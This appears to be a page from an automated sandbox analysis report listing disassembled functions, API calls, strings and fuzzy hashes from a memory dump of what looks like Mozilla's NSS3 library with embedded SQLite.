Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: ff9a76f4f6d61e133e92da9b2c799723469d7e8f705097476861475bd0f96a03
Instruction ID: 649a16451bc2cb976a262c206dfc96b209e0fbcebb9f595ad864ff4063a58bae
Opcode Fuzzy Hash: ff9a76f4f6d61e133e92da9b2c799723469d7e8f705097476861475bd0f96a03
Instruction Fuzzy Hash: DB7128317452A1ABFB04EF26DC95A6E337DEB87314F180239EA1587A90DB34D801D7A3

Function 6CB9AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CCBCF46,?,6CB8CDBD,?,6CCBBF31,?,?,?,?,?,?,?), ref: 6CB9B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CCBCF46,?,6CB8CDBD,?,6CCBBF31), ref: 6CB9B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CCBCF46,?,6CB8CDBD,?,6CCBBF31), ref: 6CB9B0A2
CloseHandle.KERNEL32(?,?,6CCBCF46,?,6CB8CDBD,?,6CCBBF31,?,?,?,?,?,?,?,?,?), ref: 6CB9B100
sqlite3_free.NSS3(?,?,00000002,?,6CCBCF46,?,6CB8CDBD,?,6CCBBF31,?,?,?,?,?,?,?), ref: 6CB9B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CCBCF46,?,6CB8CDBD,?,6CCBBF31), ref: 6CB9B12D

Part of subcall function 6CB89EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB9C6FD,?,?,?,?,6CBEF965,00000000), ref: 6CB89F0E
Part of subcall function 6CB89EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CBEF965,00000000), ref: 6CB89F5D

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 5de0435a80ed4e5647642936eaf0c57f2b56fada2ee728c9fd87ec57a2061114
Instruction ID: 1416acb1b59f35951e48f5d374c32a81a06a3c6d59a93f6e3f918f08e82ae948
Opcode Fuzzy Hash: 5de0435a80ed4e5647642936eaf0c57f2b56fada2ee728c9fd87ec57a2061114
Instruction Fuzzy Hash: 6891ACB1E042458FEB14CF69C884B7AB7B5FF46308F24463DE45697A50EB35E884CB62

Function 6CC6BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CC6BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CC6BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CC6BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CC6BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CC6BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CC6BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CC6BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CC6BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CC6BE1E

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 0b3bd4a69b1b905091ff96a57a2a65f290d3932efb1949e851fb773ffe148111
Instruction ID: 01c48ef3d6b59bf3d7461c39eeee4a69a0321ed4edabc58d4b92f3502194784a
Opcode Fuzzy Hash: 0b3bd4a69b1b905091ff96a57a2a65f290d3932efb1949e851fb773ffe148111
Instruction Fuzzy Hash: B02191B6E1429957FB004657DED2B8B32789F9174DF080124FA16FEF42F710941886AA

Function 6CD18D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CD614E4,6CCCCC70), ref: 6CD18D47
PR_GetCurrentThread.NSS3 ref: 6CD18D98

Part of subcall function 6CBF0F00: PR_GetPageSize.NSS3(6CBF0936,FFFFE8AE,?,6CB816B7,00000000,?,6CBF0936,00000000,?,6CB8204A), ref: 6CBF0F1B
Part of subcall function 6CBF0F00: PR_NewLogModule.NSS3(clock,6CBF0936,FFFFE8AE,?,6CB816B7,00000000,?,6CBF0936,00000000,?,6CB8204A), ref: 6CBF0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CD18E7B
htons.WSOCK32(?), ref: 6CD18EDB
PR_GetCurrentThread.NSS3 ref: 6CD18F99
PR_GetCurrentThread.NSS3 ref: 6CD1910A

Strings

%u.%u.%u.%u, xrefs: 6CD18E74

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 67a64acd81b88211a7f6ce5f6e60977abfd3809fce938504b3c96dac39ee0f0f
Instruction ID: 5dd7f707d4bb53abaa5143fb693f2cfcf46ef80d3af3440284f7f6529c6fdf27
Opcode Fuzzy Hash: 67a64acd81b88211a7f6ce5f6e60977abfd3809fce938504b3c96dac39ee0f0f
Instruction Fuzzy Hash: 6F026932909251CFDB14CF19D86876ABBA2EF42314F1A835BD8915BEB1C335D989C790

Function 6CB9EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6CB9F0A6, 6CB9F2D5
view, xrefs: 6CB9F061, 6CB9F071, 6CB9FAB7
%s %T already exists, xrefs: 6CB9FAC8
there is already an index named %s, xrefs: 6CB9F9D7
table, xrefs: 6CB9F05C, 6CB9FABC, 6CB9FAC7
sqlite_master, xrefs: 6CB9F0AB, 6CB9F2DA, 6CB9F757, 6CB9F93E
authorizer malfunction, xrefs: 6CB9F95C, 6CB9F9BF, 6CB9FA5E, 6CB9FA8B
temporary table name must be unqualified, xrefs: 6CB9F734
not authorized, xrefs: 6CB9F957, 6CB9F9BA

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: c75542ea9f50a96258bb0d0c04ebdf939d06d067afb09ce31d2d8fdc0970bd1d
Instruction ID: ae47a5d1c8bb7671cb29edc8803ee7cd203210d0b946ef6609446cc33f95b52d
Opcode Fuzzy Hash: c75542ea9f50a96258bb0d0c04ebdf939d06d067afb09ce31d2d8fdc0970bd1d
Instruction Fuzzy Hash: 8972B070E042958FDB14CF68C480BAABBF1FF4A318F1481B9E815AB792D775E845CB91

Function 6CCB9C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CB8C52B), ref: 6CCB9D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCBA035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCBA114

Strings

database corruption, xrefs: 6CCBA029, 6CCBA108
%s at line %d of [%.10s], xrefs: 6CCBA02E, 6CCBA10D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCBA01F, 6CCBA0E4, 6CCBA0FE

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: b61cb9a0504a19c4ca9d79e4d6f7ce55c617d1cb2e53733e9ed7167584acf154
Instruction ID: 99fabe4a96474321f5ba8a0a407c6db322dd84068a101e523a89ea2b4ecc7213
Opcode Fuzzy Hash: b61cb9a0504a19c4ca9d79e4d6f7ce55c617d1cb2e53733e9ed7167584acf154
Instruction Fuzzy Hash: BB22BF71608741DFC704CFA9C49062AB7F1BFCA344F148A2DE9DAA7A51E735E846CB42

Function 6CCD9D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CB98637,?,?), ref: 6CCD9E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CB98637), ref: 6CCD9ED6

Strings

database corruption, xrefs: 6CCD9ECA
%s at line %d of [%.10s], xrefs: 6CCD9ECF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCD9EC0

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 647ac574a178bb1bec085d4d558ff3b98b064368501827af6bb82fb58eccf8f5
Instruction ID: b60e23288add553043d96deb5facb5af5729f1c47336316aa68f4d74255afaa5
Opcode Fuzzy Hash: 647ac574a178bb1bec085d4d558ff3b98b064368501827af6bb82fb58eccf8f5
Instruction Fuzzy Hash: 0F81B735B001168FDB04CFAAC890ADEB3F6FF49304B158569DA19ABB51EB30ED45CB91

Function 6CCE7F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CCE81BC

Strings

out of memory, xrefs: 6CCE835B
BINARY, xrefs: 6CCE8126

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: cfaecd7e99f1b174bc5788e1cf951e22fe95f2c321c1561f878fb44e5160db2f
Instruction ID: badcfa55b58b7fdace81056e097378eaba65985e0b73d6cf36c61b86ba3bed56
Opcode Fuzzy Hash: cfaecd7e99f1b174bc5788e1cf951e22fe95f2c321c1561f878fb44e5160db2f
Instruction Fuzzy Hash: EE52C071E05218DFDF14CF99C890BADBBB2FF4A318F24815AD815AB751E731A846CB90

Function 6CC69EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CC69ED6

Part of subcall function 6CC614C0: TlsGetValue.KERNEL32 ref: 6CC614E0
Part of subcall function 6CC614C0: EnterCriticalSection.KERNEL32 ref: 6CC614F5
Part of subcall function 6CC614C0: PR_Unlock.NSS3 ref: 6CC6150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CC69EE4

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC69F38

Part of subcall function 6CC6D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CC69F0B), ref: 6CC6D03B
Part of subcall function 6CC6D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CC6D04E
Part of subcall function 6CC6D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CC6D07B
Part of subcall function 6CC6D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CC6D08E
Part of subcall function 6CC6D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC6D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC69F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CC69F59

Part of subcall function 6CC69D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CC69C5B), ref: 6CC69D82
Part of subcall function 6CC69D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CC69C5B), ref: 6CC69DA9
Part of subcall function 6CC69D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CC69C5B), ref: 6CC69DCE
Part of subcall function 6CC69D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CC69C5B), ref: 6CC69E43

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: b19d3ca2e0cd0dc86eaaa4f02bcae798908b14dda0e1445cb1959561f9eab9fa
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: 8A110BB5F042025BF7009B67AD8079B7354AF9434CF150235E509CBF50FB62E5158292

Function 6CD1CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD1D086
PR_Malloc.NSS3(00000001), ref: 6CD1D0B9
PR_Free.NSS3(?), ref: 6CD1D138

Strings

>, xrefs: 6CD1CF5B

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: cab7136038bbaa97efd4079e56c47d24092250d270e8b9b8f97ee0dbf0bfc802
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 81D15862B4D6464FEB154A7CA8A13EA77938782374F68033AD5618BFF5E719C8838341

Function 6CCBAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 913509a9dd3816604a699d54d43e3bf37775df79393e7003f11699c6de0fabf1
Instruction ID: 21fceb2ceb769df0deb12eda7c20bb0dbebf72f2645632aa547d5ec41dc47576
Opcode Fuzzy Hash: 913509a9dd3816604a699d54d43e3bf37775df79393e7003f11699c6de0fabf1
Instruction Fuzzy Hash: 31F1F371E011518BEB04DFADC8907BA77F8AB8A308F55422DCA15EBB50FB789941CBD0

Function 6CCADFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CB85001,?,00000003,00000000), ref: 6CCADFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CB85001,?), ref: 6CCAE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CB85001,?), ref: 6CCAE2DA

Strings

W, xrefs: 6CCAE111

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 03f9cfd8eadfcf1ee799696526b78540c822b8b6d0d1504fb2a12639b082ad63
Instruction ID: 38e30e75f8aa56b8bf2ca7d6902206f64bfb8ae987c17586d6b2d10f1ca9cf67
Opcode Fuzzy Hash: 03f9cfd8eadfcf1ee799696526b78540c822b8b6d0d1504fb2a12639b082ad63
Instruction Fuzzy Hash: A8C10971A052578BDB04CFEA84947AA77B1BF86308F18416DDD699BB41F7319823CBD0

Function 6CB96F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

*?[, xrefs: 6CB97034, 6CB97052, 6CB97070
sz=[0-9]*, xrefs: 6CB97049
noskipscan*, xrefs: 6CB97067
unordered*, xrefs: 6CB9702B

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 8e9e866f7995992fa2d7998b71477b39a241663a3a4b79dbd379839e5009c982
Instruction ID: 9bc74a5d39ac99d28b851f1db438e08f27140b80b8fcb12f05cac82dbf9ce897
Opcode Fuzzy Hash: 8e9e866f7995992fa2d7998b71477b39a241663a3a4b79dbd379839e5009c982
Instruction Fuzzy Hash: 16718B32F041914BEB148A6DC89079E77E29F87314F294279C959BBBD1E7B18C4687C2

Function 6CBB3EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6CBB460F
sqlite_, xrefs: 6CBB3FAA, 6CBB4185
sqlite_master, xrefs: 6CBB463F

Memory Dump Source

Source File: 00000000.00000002.2053398609.000000006CB81000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2053354916.000000006CB80000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053815320.000000006CD1F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053881877.000000006CD5E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053911551.000000006CD5F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053940886.000000006CD60000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2053973279.000000006CD65000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 98633f7c9020ba982e92936f51446bc83c1cd1b4f7213d32f8ae45152c9127e8
Instruction ID: 14803dca0bb62dd847adeba1692648d9abe7b3c2cfea7b3c3437a4e45288a0a1
Opcode Fuzzy Hash: 98633f7c9020ba982e92936f51446bc83c1cd1b4f7213d32f8ae45152c9127e8
Instruction Fuzzy Hash: 23221421A895D54FD7048B6980606BA7BF2FF47318B6C45A8C9E57BF52CA31EC41CF81

Function 6CCEBE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

